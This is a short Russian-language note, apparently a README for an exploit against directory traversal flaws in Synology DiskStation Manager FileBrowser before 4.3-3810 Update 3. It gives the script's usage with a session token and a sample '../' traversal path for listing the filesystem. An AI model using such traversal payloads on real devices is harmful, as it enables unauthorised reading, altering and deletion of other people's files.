
эксплойт для DNS 4.3
Множественные уязвимости обхода каталогов в компонентах FileBrowser в Synology DiskStation Manager (DSM) до версии 4.3-3810 Update 3 позволяют удаленным злоумышленникам читать, записывать и удалять произвольные файлы с помощью .. (dot dot)
python <file.py> <SynoToken> <path>
example:
#list filesystem
python file_list.py ABCDFEGH1234 /home/../../../../